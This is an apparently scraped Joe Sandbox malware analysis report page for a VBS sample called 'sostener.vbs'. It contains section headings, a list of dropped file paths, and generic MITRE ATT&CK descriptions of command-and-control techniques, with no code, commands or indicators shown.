Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1bbieuuo.srz.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1tjq2qvv.kek.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_24qj5dcd.v4v.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2dqtwux2.aqg.ps1

Windows Analysis Report
sostener.vbs

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre